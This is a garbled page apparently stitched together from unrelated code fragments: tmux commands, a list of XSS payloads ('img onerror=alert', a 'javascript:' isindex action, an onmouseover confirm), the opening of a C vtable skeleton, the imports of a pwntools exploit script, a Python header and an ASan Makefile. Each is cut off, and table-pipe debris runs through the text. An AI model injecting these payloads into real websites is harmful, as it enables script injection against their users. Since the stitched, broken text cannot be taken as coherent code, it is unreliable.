start new:
tmux
start new with session name:
tmux new -s myname
| /* Remote File Include with HTML TAGS via XSS.Cx */ | |
| /* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */ | |
| /* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */ | |
| /* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */ | |
| /* Updated September 29, 2014 */ | |
| /* RFI START */ | |
| <img language=vbs src=<b onerror=alert#1/1#> | |
| <isindex action="javas	cript:alert(1)" type=image> | |
| "]<img src=1 onerror=alert(1)> | |
| <input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span> |
| #include <stdio.h> | |
| // skel Virtual function table (VFT) | |
| struct file_operations { | |
| int (*read) (struct Classe1 *, char **); | |
| int (*write) (struct Classe1 *, char **, char **); | |
| }; | |
| // skel classe | |
| struct Classe1 { | |
| const struct file_operations *f_op; |
| #!/usr/bin/env python3 | |
| from pwn import * | |
| import signal | |
| import sys | |
| import subprocess | |
| # requirements: | |
| # $ python3 -m pip install pwntools --user | |
| # UTILS |
| import sys, os | |
| import ctypes | |
| import math | |
| import struct | |
| #### Ignore #### | |
| EC = '\x1b[0m' | |
| BOLD = '\x1b[1m' |
| .PHONY: using-gcc using-gcc-static using-clang | |
| using-gcc: | |
| g++-4.8 -o main-gcc -lasan -O -g -fsanitize=address -fno-omit-frame-pointer main.cpp && \ | |
| ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=$(shell which llvm-symbolizer) ./main-gcc | |
| using-gcc-static: | |
| g++-4.8 -o main-gcc-static -static-libstdc++ -static-libasan -O -g -fsanitize=address -fno-omit-frame-pointer main.cpp && \ | |
| ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=$(shell which llvm-symbolizer) ./main-gcc-static |